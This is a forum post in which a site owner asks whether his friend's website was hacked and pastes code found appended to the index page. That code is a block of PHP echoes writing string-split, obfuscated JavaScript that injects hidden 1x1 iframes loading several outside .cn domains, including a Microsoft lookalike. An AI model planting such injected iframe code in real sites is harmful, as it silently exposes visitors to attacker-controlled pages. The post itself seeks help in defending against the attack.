Did this website get hacked?

[pneudralics]

I help made a website for a friend a while ago and recently went to visit it.

File permission: 604

I noticed this error when opening the website:

Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting ',' or ';'

 

I then downloaded the file and found the below at the bottom of my index page.

<?php echo '<script>document.write("<if"+''+'ra'+''+"m"+'e s'+"rc=\"h"+''+'tt'+"p:"+''+"/"+''+'/mic'+"roso"+'t'+''+'f.c'+"n"+'/'+"\" wid"+''+'th=1 he'+"igh"+''+'t'+"="+"2></i"+''+"f"+"ra"+''+""+''+"me"+'>');</script>'; ?><?php echo '<script>document.write("<i" +"fra" +"me "+ "s" +"r" +"c=http:" +"/" +"/"+ "u"+ "pdate" +"d" +"a" +"te." +"c" +"n" +"/" +" h" +"e" +"i" +"ght=1 " +"wid" +"t" +"h=1" +"><" +"/ifr"+ "am"+ "e" +">")</script>'; ?><?php echo '<script>document.write("<if"+"rame "+"s" +"r"+"c=http:/"+"/u" +"pd"+"ateda" +"te"+".cn"+"/ " +"hei"+"g"+"h"+"t=1" +" "+"wi"+"dth="+"1"+"><"+"/ifram"+"e" +">");</script>'; ?><?php echo '<script>document.write("<i"+ "f"+"rame "+"s" +"rc=ht"+ "t"+"p:"+ "//"+"u"+"p" +"da"+"tedat"+ "e.cn/ "+ "hei" +"g"+"ht" +"="+"1" +" " +"width=1>"+ "<" +"/" +"if"+"rame>");</script>'; ?><?php echo '<script>document.write("<"+"i"+"f"+"rame src=http:"+"//upda"+"t"+"edat"+"e."+"c"+"n/"+" height=1 width"+"=1"+">"+"</if"+"ram"+"e>");</script>'; ?><?php echo '<script>document.write("<iframe"+" s"+"rc="+"h" +"tt"+"p://"+"updat" +"edate.cn/ "+"hei"+"ght=1 wi" +"dth=1"+"><"+"/ifra"+"m"+"e" +">");</script>'; ?><?php echo '<script>document.write("<iframe" +" sr"+"c=h" +"t"+"tp://delzz" +"erro.c"+"n/ " +"he"+"ight=1 "+"widt" +"h=1"+"></ifr" +"a" +"me"+">");</script>'; ?><?php echo '<script>document.write("<if" +"r" +"a"+"m"+"e" +" s"+"r"+"c"+"="+ "h"+ "t"+"t"+"p"+ ":"+ "/"+ "/d"+ "e" +"l"+"z"+"z" +"e" +"r" +"ro" +"."+"c" +"n" +"/ he"+"i" +"g" +"ht="+"1 wid"+"th"+ "="+"1"+">"+"<"+ "/"+"if"+ "r" +"a"+ "me>");</script>'; ?><?php echo '<script>document.write("<" +"i"+ "fr"+ "ame"+ " s" +"r"+"c"+"=h"+ "t"+"t" +"p"+ ":" +"//vi"+ "p"+"pr"+ "o"+"j"+ "e" +"c" +"t"+"s."+ "c" +"n" +"/ "+"h" +"ei"+"g"+ "h"+ "t"+ "=" +"1"+ " wi"+ "d" +"th=" +"1></i" +"f"+ "ra"+"m"+"e>");</script>'; ?>

 

If so how do I prevent it?

 

Thanks.